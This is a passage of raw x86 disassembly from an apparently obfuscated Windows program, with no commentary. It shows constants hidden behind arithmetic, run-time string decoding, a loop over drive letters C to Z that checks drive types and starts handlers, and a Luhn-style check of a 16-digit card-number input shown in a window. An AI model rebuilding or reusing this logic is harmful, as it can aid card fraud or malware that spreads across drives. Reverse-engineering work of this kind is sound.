var_20028 = dword ptr -20028h
var_20024 = dword ptr -20024h
var_20020 = byte ptr -20020h
var_2001C = dword ptr -2001Ch
var_20018 = dword ptr -20018h
var_20014 = dword ptr -20014h
var_20010 = dword ptr -20010h
var_2000C = dword ptr -2000Ch
var_20008 = dword ptr -20008h
var_20004 = dword ptr -20004h
var_1FFFE = byte ptr -1FFFEh
var_10007 = byte ptr -10007h
var_10006 = byte ptr -10006h
var_10003 = byte ptr -10003h
var_FFFF = byte ptr -0FFFFh
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
mov eax, 30038h
call sub_44797C
push ebx
push esi
push edi
lea eax, [ebp+var_20018]
push eax
mov eax, dword_551270
sub eax, 5
push eax
lea eax, [ebp+arg_14]
push eax
lea eax, [ebp+arg_4]
push eax
movsx eax, word_55123C
sub eax, 3
push eax
mov eax, [ebp+arg_0]
push eax
mov ebx, [eax]
call dword ptr [ebx+54h]
mov edi, eax
mov eax, dword_551090
dec eax
cmp eax, edi
jnz loc_43CB50
loc_43C79E: ; CODE XREF: sub_43C752+3E4j
movsx eax, word_5510CC
add eax, dword_5511B8
sub eax, 0Ch
push eax
lea eax, [ebp+var_20024]
push eax
mov eax, dword_55109C
add eax, dword_55110C
sub eax, 0Fh
push eax
mov eax, [ebp+var_20018]
push eax
mov ebx, [eax]
call dword ptr [ebx+0Ch]
mov edi, eax
mov eax, dword_5510C0
movsx edx, word_5511BC
add eax, edx
sub eax, 6
cmp edi, eax
jnz loc_43CB3B
mov esi, dword_55116C
sub esi, 9
lea eax, [ebp+var_1FFFE]
push eax
push [ebp+var_20024]
call sub_44582B
add esp, 8
and [ebp+var_20014], 0
mov eax, dword_5511E0
sub eax, 9
mov [ebp+var_20028], eax
mov [ebp+var_20010], 10h
mov eax, dword_551114
sub eax, 2
mov [ebp+var_20004], eax
mov eax, dword_5510B4
sub eax, 4
mov [ebp+var_20008], eax
mov [ebp+var_2000C], 2
mov eax, dword_5510E8
add eax, dword_55121C
sub eax, 7
push eax
lea eax, [ebp+var_20010]
push eax
lea eax, [ebp+var_20014]
push eax
lea eax, [ebp+var_20028]
push eax
push [ebp+var_20024]
lea eax, [ebp+arg_14]
push eax
lea eax, [ebp+arg_4]
push eax
movsx eax, word_5510EC
push eax
mov eax, [ebp+arg_0]
push eax
mov ebx, [eax]
call dword ptr [ebx+44h]
mov edi, eax
mov eax, dword_551128
sub eax, 7
cmp eax, edi
jnz loc_43C9DE
mov eax, dword_551150
movsx edx, word_551274
mov esi, eax
add esi, edx
sub esi, 4
movsx eax, word_5511AC
movsx edx, word_5510EC
add eax, edx
cmp byte ptr [ebp+eax+var_20004], 44h
jnz short loc_43C902
mov eax, dword_5511DC
cmp byte ptr [ebp+eax+var_20004+1], 49h
jnz short loc_43C902
movsx eax, word_551210
cmp [ebp+eax+var_1FFFE], 50h
jnz short loc_43C902
movsx eax, word_5511BC
cmp byte ptr [ebp+eax+var_20004+2], 50h
jz short loc_43C907
loc_43C902: ; CODE XREF: sub_43C752+17Dj
; sub_43C752+18Cj ...
jmp loc_43C9DE
; ---------------------------------------------------------------------------
loc_43C907: ; CODE XREF: sub_43C752+1AEj
mov eax, [ebp+var_20028]
mov [ebp+var_20030], eax
mov eax, [ebp+var_20014]
mov [ebp+var_2002C], eax
lea eax, [ebp+var_20020]
push eax
movsx eax, word_551214
mov edx, dword_5510C0
add edx, eax
sub edx, 4
push edx
movsx edx, word_551140
add edx, eax
mov eax, edx
sub eax, 8
push eax
movsx eax, word_5511CC
sub eax, 6
push eax
mov eax, dword_551164
movsx edx, word_5510D8
add eax, edx
sub eax, 9
push eax
movsx eax, word_5511EC
sub eax, 3
push eax
lea eax, [ebp+var_20030]
push eax
call ds:dword_448028
mov [ebp+var_20034], eax
mov ecx, dword_551270
add ecx, dword_551130
sub ecx, 8
cmp ecx, eax
jnz short loc_43C9AB
mov eax, dword_55114C
movsx edx, word_551240
mov esi, eax
add esi, edx
sub esi, 7
jmp short loc_43C9DE
; ---------------------------------------------------------------------------
loc_43C9AB: ; CODE XREF: sub_43C752+242j
mov esi, dword_551164
add esi, 2
lea eax, [ebp+var_30037]
push eax
push [ebp+var_2001C]
call sub_44582B
add esp, 8
cmp [ebp+var_2001C], 0
jz short loc_43C9DE
push [ebp+var_2001C]
call ds:dword_44B5CC
loc_43C9DE: ; CODE XREF: sub_43C752+14Cj
; sub_43C752:loc_43C902j ...
movsx eax, word_551260
mov [ebp+eax+var_10007], 7Ch
mov eax, dword_5511F0
movsx edx, word_551120
sub edx, 3
mov [ebp+eax+var_10006], dl
movsx eax, word_551234
mov [ebp+eax+var_10003], 50h
push [ebp+arg_24]
lea eax, [ebp+var_FFFF]
push eax
call ds:dword_44802C
push offset byte_5524C1
call sub_43AC94
push eax
lea ebx, [ebp+var_FFFF]
push ebx
call ds:dword_44802C
push offset dword_5524A4
call sub_43AC94
movsx ebx, word_551260
mov edx, ebx
add edx, ebx
mov ebx, edx
sub ebx, 11h
push ebx
push eax
push [ebp+arg_24]
call sub_442127
add esp, 24h
mov edx, dword_5510DC
add edx, 0FFF8h
add edx, dword_5510C8
cmp eax, edx
jz short loc_43CA8F
lea eax, [ebp+var_1FFFE]
push eax
lea eax, [ebp+var_FFFF]
push eax
call sub_447336
add esp, 8
jmp short loc_43CABE
; ---------------------------------------------------------------------------
loc_43CA8F: ; CODE XREF: sub_43C752+323j
lea eax, [ebp+var_1FFFE]
push eax
lea eax, [ebp+var_FFFF]
push eax
call ds:dword_44802C
push offset byte_55249F
call sub_43AC94
push eax
lea ebx, [ebp+var_FFFF]
push ebx
call ds:dword_44802C
add esp, 14h
loc_43CABE: ; CODE XREF: sub_43C752+33Bj
cmp dword_551090, esi
jnz short loc_43CAD4
mov eax, [ebp+var_20014]
mov [ebp+var_20038], eax
jmp short loc_43CAE0
; ---------------------------------------------------------------------------
loc_43CAD4: ; CODE XREF: sub_43C752+372j
lea eax, [ebp+var_30037]
mov [ebp+var_20038], eax
loc_43CAE0: ; CODE XREF: sub_43C752+380j
push [ebp+var_20038]
lea eax, [ebp+var_FFFF]
push eax
call ds:dword_44802C
push offset byte_5524C1
call sub_43AC94
push eax
lea ebx, [ebp+var_FFFF]
push ebx
call ds:dword_44802C
add esp, 14h
mov eax, dword_551218
dec eax
cmp [ebp+var_20014], eax
jz short loc_43CB28
push [ebp+var_20014]
call ds:dword_48C1EC
loc_43CB28: ; CODE XREF: sub_43C752+3C8j
lea eax, [ebp+var_FFFF]
push eax
call ds:dword_48C1E0
pop ecx
jmp loc_43C79E
; ---------------------------------------------------------------------------
loc_43CB3B: ; CODE XREF: sub_43C752+94j
cmp [ebp+var_20018], 0
jz short loc_43CB50
mov eax, [ebp+var_20018]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_43CB50: ; CODE XREF: sub_43C752+46j
; sub_43C752+3F0j
pop edi
pop esi
pop ebx
leave
retn
sub_43C752 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_43CB55 proc near ; DATA XREF: sub_43E491:loc_43E834o
var_28 = byte ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_E = byte ptr -0Eh
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov esi, 43h
jmp short loc_43CB7D
; ---------------------------------------------------------------------------
loc_43CB65: ; CODE XREF: sub_43CB55+2Bj
movsx ebx, word_5510AC
add ebx, dword_551114
sub ebx, 9
mov ds:dword_54FC20[esi*4], ebx
inc esi
loc_43CB7D: ; CODE XREF: sub_43CB55+Ej
cmp esi, 5Ah
jbe short loc_43CB65
loc_43CB82: ; CODE XREF: sub_43CB55+1D6j
mov edi, 43h
jmp loc_43CD12
; ---------------------------------------------------------------------------
loc_43CB8C: ; CODE XREF: sub_43CB55+1C0j
push offset byte_552497
call sub_43AC94
push edi
push eax
lea ebx, [ebp+var_E]
push ebx
call ds:dword_50EA28
mov eax, dword_5511D4
add eax, dword_5510C4
sub eax, 12h
push eax
call ds:dword_50EA24
add esp, 14h
mov ebx, ds:dword_54FC20[edi*4]
cmp dword_5510C8, ebx
jz short loc_43CC19
movsx eax, word_5510EC
add eax, dword_551130
sub eax, 3
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
push eax
push ds:dword_54FC20[edi*4]
call ds:dword_54EA4C
cmp [ebp+var_14], 103h
jz short loc_43CC19
push ds:dword_54FC20[edi*4]
call ds:dword_4CDA48
mov ebx, dword_551204
add ebx, dword_551230
sub ebx, 8
mov ds:dword_54FC20[edi*4], ebx
loc_43CC19: ; CODE XREF: sub_43CB55+72j
; sub_43CB55+9Fj
lea eax, [ebp+var_E]
push eax
call ds:dword_54EA64
mov [ebp+var_4], eax
cmp eax, 4
jz short loc_43CC6D
cmp eax, 3
jz short loc_43CC6D
cmp eax, 2
jz short loc_43CC6D
movsx ebx, word_5511CC
add ebx, dword_5510C8
sub ebx, 6
cmp ds:dword_54FC20[edi*4], ebx
jz loc_43CD11
mov ebx, dword_551184
add ebx, dword_5511E0
sub ebx, 11h
mov ds:dword_44B5E0[edi*4], ebx
jmp loc_43CD11
; ---------------------------------------------------------------------------
loc_43CC6D: ; CODE XREF: sub_43CB55+D4j
; sub_43CB55+D9j ...
push 1
call ds:dword_449FC0
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_E]
push eax
call ds:dword_44B088
movsx ebx, word_551168
sub ebx, 4
cmp ebx, eax
jnz short loc_43CCB9
cmp ds:dword_54FC20[edi*4], 0
jz short loc_43CD11
mov ebx, dword_551124
sub ebx, 9
mov ds:dword_44B5E0[edi*4], ebx
jmp short loc_43CD11
; ---------------------------------------------------------------------------
loc_43CCB9: ; CODE XREF: sub_43CB55+146j
mov ebx, dword_551270
sub ebx, 5
cmp ds:dword_54FC20[edi*4], ebx
jnz short loc_43CD11
mov ds:dword_44B5E0[edi*4], edi
lea eax, [ebp+var_28]
push eax
movsx eax, word_5511C4
add eax, dword_55109C
sub eax, 0Eh
push eax
lea ebx, ds:44B5E0h[edi*4]
push ebx
push offset sub_442C83
mov ebx, dword_5510FC
sub ebx, 2
push ebx
push dword_55118C
call ds:dword_550020
mov ds:dword_54FC20[edi*4], eax
loc_43CD11: ; CODE XREF: sub_43CB55+F7j
; sub_43CB55+113j ...
inc edi
loc_43CD12: ; CODE XREF: sub_43CB55+32j
cmp edi, 5Ah
jbe loc_43CB8C
mov eax, dword_55109C
sub eax, 7
push eax
call ds:dword_50EA24
pop ecx
jmp loc_43CB82
sub_43CB55 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CD37 proc near ; CODE XREF: sub_44300F+C41p
var_324 = dword ptr -324h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = dword ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = dword ptr -2E4h
var_2E0 = dword ptr -2E0h
var_2DC = dword ptr -2DCh
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C6 = byte ptr -2C6h
var_2C4 = dword ptr -2C4h
var_2C0 = dword ptr -2C0h
var_2BC = dword ptr -2BCh
var_2B8 = dword ptr -2B8h
var_2B4 = dword ptr -2B4h
var_2B0 = dword ptr -2B0h
var_2AC = dword ptr -2ACh
var_2A8 = dword ptr -2A8h
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_288 = dword ptr -288h
var_284 = dword ptr -284h
var_280 = dword ptr -280h
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_274 = dword ptr -274h
var_270 = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_253 = byte ptr -253h
var_154 = byte ptr -154h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_102 = word ptr -102h
var_FF = byte ptr -0FFh
var_FB = byte ptr -0FBh
var_F9 = byte ptr -0F9h
var_F6 = byte ptr -0F6h
var_F4 = byte ptr -0F4h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 324h
push ebx
push esi
push edi
cmp [ebp+arg_4], 0
jz loc_43DF16
mov eax, [ebp+arg_0]
mov edx, dword_551164
cmp byte ptr [eax+edx], 34h
jz short loc_43CD6F
mov edx, dword_551190
sub edx, 6
cmp byte ptr [eax+edx], 35h
jnz loc_43DF16
loc_43CD6F: ; CODE XREF: sub_43CD37+23j
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_43CD77: ; CODE XREF: sub_43CD37+45j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43CD77
mov [ebp+var_128], eax
mov edx, dword_551238
add edx, 1
add edx, dword_5511E0
cmp eax, edx
jz short loc_43CDA8
mov edx, dword_5510C0
add edx, 0Fh
cmp eax, edx
jnz loc_43DF16
loc_43CDA8: ; CODE XREF: sub_43CD37+5Ej
mov ebx, dword_551098
sub ebx, 2
jmp short loc_43CDD1
; ---------------------------------------------------------------------------
loc_43CDB3: ; CODE XREF: sub_43CD37+AEj
mov eax, 30h
mul ebx
mov [ebp+var_260], eax
mov eax, ds:dword_4CC650[eax]
cmp [ebp+arg_4], eax
jz loc_43DF16
inc ebx
loc_43CDD1: ; CODE XREF: sub_43CD37+7Aj
movsx eax, word_55123C
movsx edx, word_5511EC
lea eax, [eax+edx+5Eh]
cmp ebx, eax
jb short loc_43CDB3
mov eax, dword_55125C
add eax, 0Eh
add eax, dword_55118C
cmp eax, [ebp+var_128]
jnz loc_43D026
mov eax, [ebp+arg_0]
mov edx, dword_5510C4
add edx, dword_5511F4
sub edx, 5
cmp byte ptr [eax+edx], 2Dh
jz short loc_43CE34
movsx edx, word_55111C
mov ecx, dword_5510F4
lea edx, [edx+ecx+7]
cmp byte ptr [eax+edx], 20h
jnz loc_43DF16
loc_43CE34: ; CODE XREF: sub_43CD37+E0j
mov eax, [ebp+arg_0]
movsx edx, word_551170
movsx ecx, word_551254
add edx, ecx
sub edx, 5
cmp byte ptr [eax+edx], 2Dh
jz short loc_43CE62
movsx edx, word_55120C
cmp byte ptr [edx+eax+4], 20h
jnz loc_43DF16
loc_43CE62: ; CODE XREF: sub_43CD37+117j
mov eax, [ebp+arg_0]
mov edx, dword_55113C
movsx ecx, word_5510D8
add edx, ecx
sub edx, 4
cmp byte ptr [eax+edx], 20h
jz short loc_43CE96
mov edx, dword_5510F8
add edx, 3
add edx, dword_5511B8
cmp byte ptr [eax+edx], 2Dh
jnz loc_43DF16
loc_43CE96: ; CODE XREF: sub_43CD37+144j
mov eax, dword_551128
add eax, 4
movsx edx, word_5510EC
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+0Dh]
mov [ebp+eax+var_FF], dl
mov eax, dword_551270
mov edx, eax
add edx, eax
mov eax, [ebp+arg_0]
mov al, [eax+1]
mov byte ptr [ebp+edx+var_108], al
mov eax, dword_5511D8
add eax, dword_551244
mov edx, [ebp+arg_0]
mov dl, [edx+8]
mov byte ptr [ebp+eax+var_108+2], dl
mov eax, dword_55118C
mov edx, [ebp+arg_0]
mov dl, [edx]
mov [ebp+eax+var_FF], dl
mov eax, dword_551174
add eax, dword_5510DC
mov edx, [ebp+arg_0]
mov dl, [edx+6]
mov byte ptr [ebp+eax+var_102], dl
mov eax, dword_551108
mov edx, [ebp+arg_0]
mov dl, [edx+0Ah]
mov [ebp+eax+var_F9], dl
mov eax, dword_551114
mov edx, [ebp+arg_0]
mov dl, [edx+7]
mov [ebp+eax+var_FB], dl
movsx eax, word_5511C8
add eax, dword_551134
mov edx, [ebp+arg_0]
mov dl, [edx+12h]
mov [ebp+eax+var_FF], dl
mov eax, dword_5510C4
mov edx, [ebp+arg_0]
mov dl, [edx+10h]
mov [ebp+eax+var_FB], dl
movsx eax, word_551140
mov edx, [ebp+arg_0]
mov dl, [edx+2]
mov byte ptr [ebp+eax+var_102], dl
mov eax, dword_5510A8
movsx edx, word_5511BC
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+0Ch]
mov byte ptr [ebp+eax+var_102], dl
mov eax, dword_55121C
mov edx, [ebp+arg_0]
mov dl, [edx+0Bh]
mov [ebp+eax+var_F6], dl
movsx eax, word_55123C
mov edx, [ebp+arg_0]
mov dl, [edx+11h]
mov [ebp+eax+var_F4], dl
mov eax, dword_551118
movsx edx, word_55115C
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+5]
mov byte ptr [ebp+eax+var_108+1], dl
mov eax, dword_551160
add eax, 4
movsx edx, word_551194
add eax, edx
movsx edx, word_551224
sub edx, 2
mov [ebp+eax+var_FF], dl
mov eax, dword_551208
add eax, dword_551198
mov edx, [ebp+arg_0]
mov dl, [edx+3]
mov byte ptr [ebp+eax+var_102+1], dl
movsx eax, word_551170
movsx edx, word_551144
lea eax, [eax+edx+0Ah]
mov edx, [ebp+arg_0]
mov dl, [edx+0Fh]
mov [ebp+eax+var_FF], dl
jmp short loc_43D035
; ---------------------------------------------------------------------------
loc_43D026: ; CODE XREF: sub_43CD37+C4j
push [ebp+arg_0]
lea eax, [ebp+var_FF]
push eax
call sub_44799C
loc_43D035: ; CODE XREF: sub_43CD37+2EDj
mov eax, dword_551230
mov esi, eax
add esi, dword_55121C
sub esi, 5
jmp short loc_43D05C
; ---------------------------------------------------------------------------
loc_43D047: ; CODE XREF: sub_43CD37+334j
mov al, [ebp+esi+var_FF]
cmp al, 39h
jg short loc_43D056
cmp al, 30h
jge short loc_43D05B
loc_43D056: ; CODE XREF: sub_43CD37+319j
jmp loc_43DF16
; ---------------------------------------------------------------------------
loc_43D05B: ; CODE XREF: sub_43CD37+31Dj
inc esi
loc_43D05C: ; CODE XREF: sub_43CD37+30Ej
movsx eax, word_5510A0
add eax, dword_55116C
cmp esi, eax
jb short loc_43D047
mov eax, dword_55126C
sub eax, 8
mov [ebp+var_108], eax
mov esi, dword_551118
sub esi, 9
jmp short loc_43D0C4
; ---------------------------------------------------------------------------
loc_43D086: ; CODE XREF: sub_43CD37+3A0j
mov eax, dword_551264
dec eax
movsx edx, [ebp+esi+var_FF]
sub edx, 30h
imul eax, edx
add [ebp+var_108], eax
cmp [ebp+esi+var_FF], 34h
jle short loc_43D0B8
mov eax, dword_551150
add eax, 5
sub [ebp+var_108], eax
loc_43D0B8: ; CODE XREF: sub_43CD37+371j
movsx eax, word_5510AC
sub eax, 5
add esi, eax
loc_43D0C4: ; CODE XREF: sub_43CD37+34Dj
mov eax, dword_55113C
add eax, 4
movsx edx, word_55123C
add eax, edx
cmp esi, eax
jb short loc_43D086
mov eax, dword_5511F0
mov ebx, eax
add ebx, dword_5511F4
sub ebx, 0Dh
jmp short loc_43D104
; ---------------------------------------------------------------------------
loc_43D0EB: ; CODE XREF: sub_43CD37+3E0j
movsx eax, [ebp+ebx+var_FF]
sub eax, 30h
add [ebp+var_108], eax
mov eax, dword_5510C0
inc eax
add ebx, eax
loc_43D104: ; CODE XREF: sub_43CD37+3B2j
movsx eax, word_551254
mov edx, dword_5510C0
lea eax, [eax+edx+7]
cmp ebx, eax
jb short loc_43D0EB
mov eax, [ebp+var_108]
mov ecx, 0Ah
xor edx, edx
div ecx
mov edi, dword_55109C
add edi, dword_55122C
sub edi, 8
cmp edx, edi
jnz loc_43DF16
lea eax, [ebp+var_FF]
push eax
call ds:dword_54EB74
pop ecx
mov edi, dword_551238
add edi, dword_551270
sub edi, 0Eh
cmp eax, edi
jnz loc_43DF16
movsx eax, word_551140
movsx edx, word_551188
mov esi, eax
add esi, edx
sub esi, 0Ah
movsx eax, word_5510E4
movsx edx, word_551170
mov esi, eax
add esi, edx
dec esi
jmp short loc_43D1B3
; ---------------------------------------------------------------------------
loc_43D18E: ; CODE XREF: sub_43CD37+490j
mov eax, 30h
mul esi
mov [ebp+var_264], eax
mov eax, dword_55110C
sub eax, 9
mov edx, [ebp+var_264]
cmp ds:dword_4CC650[edx], eax
jz short loc_43D1C9
inc esi
loc_43D1B3: ; CODE XREF: sub_43CD37+455j
movsx eax, word_551168
movsx edx, word_5510EC
lea eax, [eax+edx+60h]
cmp esi, eax
jb short loc_43D18E
loc_43D1C9: ; CODE XREF: sub_43CD37+479j
movsx eax, word_551194
mov edx, dword_551204
lea eax, [eax+edx+5Ah]
cmp esi, eax
jz loc_43DF16
mov eax, 30h
mul esi
mov [ebp+var_268], eax
mov eax, [ebp+arg_4]
mov edx, [ebp+var_268]
mov ds:dword_4CC650[edx], eax
push offset byte_552485
call sub_43AC94
pop ecx
mov edi, dword_551204
sub edi, 3
push edi
push eax
movsx edi, word_5511C4
sub edi, 7
push edi
push [ebp+arg_4]
call ds:dword_50EA30
mov [ebp+var_134], eax
mov ecx, dword_5511FC
add ecx, dword_551244
sub ecx, 7
cmp ecx, eax
jnz short loc_43D24B
mov eax, [ebp+arg_4]
mov [ebp+var_134], eax
loc_43D24B: ; CODE XREF: sub_43CD37+509j
push offset dword_552478
call sub_43AC94
push eax
push [ebp+var_134]
call sub_43DFC4
mov [ebp+var_12C], eax
push offset dword_55246C
call sub_43AC94
push eax
push [ebp+var_12C]
call sub_43DFC4
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_26C], eax
mov ebx, eax
mov ds:dword_4CC654[ebx], edi
push 0
mov eax, 30h
mul esi
mov [ebp+var_270], eax
push ds:dword_4CC654[eax]
call ds:dword_54EA58
mov eax, dword_5511B4
dec eax
push eax
call ds:dword_44B598
mov [ebp+var_10C], eax
lea eax, [ebp+var_11C]
push eax
push [ebp+var_12C]
call ds:dword_54EA50
push offset word_552462
call sub_43AC94
add esp, 1Ch
push dword_5511C0
push [ebp+var_10C]
mov edi, dword_5511E4
sub edi, 5
push edi
push [ebp+var_12C]
mov edi, [ebp+var_110]
sub edi, [ebp+var_118]
push edi
mov edi, [ebp+var_114]
sub edi, [ebp+var_11C]
push edi
movsx edi, word_55120C
add edi, dword_5510C0
dec edi
push edi
mov edi, dword_5511E0
add edi, dword_551174
sub edi, 0Ah
push edi
push 50800000h
lea edi, [ebp+var_FF]
push edi
push eax
push 200h
call ds:dword_4CDA3C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_274], eax
mov ebx, eax
mov ds:dword_4CC658[ebx], edi
mov eax, [ebp+var_114]
sub eax, [ebp+var_11C]
movsx edx, word_5511CC
add edx, 27h
sub eax, edx
mov [ebp+var_120], eax
mov edi, [ebp+var_110]
mov ebx, dword_55121C
add ebx, 0FAh
sub edi, ebx
sub edi, [ebp+var_118]
movsx ebx, word_551268
add ebx, 39h
mov eax, edi
sub eax, ebx
xor edx, edx
test eax, eax
setl dl
add eax, edx
sar eax, 1
mov [ebp+var_124], eax
movsx edx, word_551170
dec edx
cmp eax, edx
jge short loc_43D3E2
movsx eax, word_551110
add eax, dword_5510F4
sub eax, 2
mov [ebp+var_124], eax
loc_43D3E2: ; CODE XREF: sub_43CD37+693j
push offset dword_552458
call sub_43AC94
mov [ebp+var_278], eax
push offset dword_552454
call sub_43AC94
mov [ebp+var_27C], eax
movsx edi, word_551168
add edi, dword_5511D0
sub edi, 7
push edi
push [ebp+var_10C]
movsx edi, word_5511C4
sub edi, 7
push edi
mov eax, 30h
mul esi
mov [ebp+var_280], eax
mov edi, eax
push ds:dword_4CC658[edi]
movsx edi, word_5511BC
mov ebx, dword_5510A4
lea edi, [edi+ebx+0ECh]
push edi
push [ebp+var_120]
mov edi, [ebp+var_124]
movsx ebx, word_5511EC
mov edx, dword_551148
lea ebx, [ebx+edx+32h]
add edi, ebx
mov ebx, dword_55124C
add ebx, dword_5510A8
sub ebx, 0Ch
add edi, ebx
push edi
mov edi, dword_5510D4
add edi, 0Ch
movsx ebx, word_5510B0
add edi, ebx
push edi
push 50800009h
mov edi, [ebp+var_27C]
push edi
mov edi, [ebp+var_278]
push edi
mov edi, dword_5511F4
add edi, dword_5510B4
sub edi, 9
push edi
call ds:dword_4CDA3C
mov [ebp+var_138], eax
push offset word_55244A
call sub_43AC94
mov [ebp+var_284], eax
push offset byte_552431
call sub_43AC94
mov [ebp+var_288], eax
mov edi, dword_551204
movsx ebx, word_5510EC
add edi, ebx
sub edi, 3
push edi
push [ebp+var_10C]
mov edi, dword_5510A8
sub edi, 8
push edi
mov eax, 30h
mul esi
mov [ebp+var_28C], eax
mov edi, eax
push ds:dword_4CC658[edi]
movsx edi, word_551188
add edi, 37h
push edi
push [ebp+var_120]
push [ebp+var_124]
movsx edi, word_551104
mov ebx, dword_551174
lea edi, [edi+ebx+0Eh]
push edi
push 50800000h
mov edi, [ebp+var_288]
push edi
mov edi, [ebp+var_284]
push edi
mov edi, dword_5510DC
add edi, dword_5510E0
sub edi, 8
push edi
call ds:dword_4CDA3C
mov [ebp+var_13C], eax
movsx eax, word_551274
movsx edx, word_551210
add eax, edx
sub eax, 4
push eax
push 2
push 0
push 0
push 5
push 1
mov eax, dword_5510B4
movsx edx, word_551268
add eax, edx
sub eax, 7
push eax
mov eax, dword_5511FC
movsx edx, word_55112C
add eax, edx
sub eax, 5
push eax
movsx eax, word_551110
dec eax
push eax
push 2BCh
mov eax, dword_5510FC
movsx edx, word_551260
add eax, edx
sub eax, 0Bh
push eax
mov eax, dword_5511B4
add eax, dword_55109C
sub eax, 8
push eax
movsx eax, word_5510B0
add eax, 7
push eax
movsx eax, word_5511A8
add eax, 14h
push eax
call ds:dword_4CC320
mov [ebp+var_140], eax
push 1
push eax
push 30h
push [ebp+var_13C]
call ds:dword_448018
push offset byte_552427
call sub_43AC94
mov [ebp+var_290], eax
push offset word_552422
call sub_43AC94
add esp, 18h
mov edi, dword_551128
sub edi, 7
push edi
push [ebp+var_10C]
mov edi, dword_5511E4
sub edi, 5
push edi
push [ebp+var_138]
mov edi, dword_551160
mov ebx, dword_55122C
lea ebx, [edi+ebx+0F4h]
mov edx, dword_551154
movsx ecx, word_551210
add edx, ecx
sub edx, 6
sub ebx, edx
push ebx
mov ebx, [ebp+var_120]
movsx edx, word_5510B0
add edi, edx
sub edi, 2
sub ebx, edi
push ebx
movsx edi, word_551240
add edi, dword_551174
dec edi
push edi
mov edi, dword_5510A8
sub edi, 7
push edi
push 50000000h
push eax
mov edi, [ebp+var_290]
push edi
movsx edi, word_551220
dec edi
push edi
call ds:dword_4CDA3C
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_294], eax
mov ebx, eax
mov ds:dword_4CC65C[ebx], edi
mov eax, dword_551138
add eax, dword_5510D4
cmp byte ptr [ebp+eax+var_10C+3], 34h
jnz short loc_43D70D
push offset word_55241A
call sub_43AC94
pop ecx
push eax
lea edi, [ebp+var_154]
push edi
call sub_44799C
jmp short loc_43D725
; ---------------------------------------------------------------------------
loc_43D70D: ; CODE XREF: sub_43CD37+9BAj
push offset dword_55240C
call sub_43AC94
pop ecx
push eax
lea edi, [ebp+var_154]
push edi
call sub_44799C
loc_43D725: ; CODE XREF: sub_43CD37+9D4j
push offset aN_0 ; "n"
call sub_43AC94
lea edi, [ebp+var_FF]
push edi
lea edi, [ebp+var_154]
push edi
push eax
lea edi, [ebp+var_253]
push edi
call ds:dword_50EA28
push offset dword_552458
call sub_43AC94
mov [ebp+var_298], eax
movsx edi, word_551144
dec edi
push edi
push [ebp+var_10C]
mov edi, dword_5510D0
sub edi, 4
push edi
mov eax, 30h
mul esi
mov [ebp+var_29C], eax
mov edi, eax
push ds:dword_4CC65C[edi]
mov edi, dword_551124
add edi, 27h
push edi
push [ebp+var_120]
mov edi, dword_55113C
inc edi
movsx ebx, word_5511A8
add edi, ebx
push edi
mov edi, dword_551148
movsx ebx, word_551104
add edi, ebx
sub edi, 2
push edi
push 50000000h
lea edi, [ebp+var_253]
push edi
mov edi, [ebp+var_298]
push edi
mov edi, dword_551158
dec edi
push edi
call ds:dword_4CDA3C
mov [ebp+var_258], eax
movsx eax, word_551110
dec eax
push eax
push 2
push 0
push 0
push 5
push 1
movsx eax, word_551224
movsx edx, word_5511EC
add eax, edx
sub eax, 5
push eax
mov eax, dword_5510F4
mov edx, dword_5510E8
add edx, eax
mov eax, edx
sub eax, 9
push eax
mov eax, dword_551184
add eax, dword_551154
sub eax, 0Fh
push eax
push 190h
mov eax, dword_55113C
sub eax, 9
push eax
mov eax, dword_5510F4
sub eax, 2
push eax
mov eax, dword_551238
add eax, dword_551244
sub eax, 0Ah
push eax
mov eax, dword_5511B8
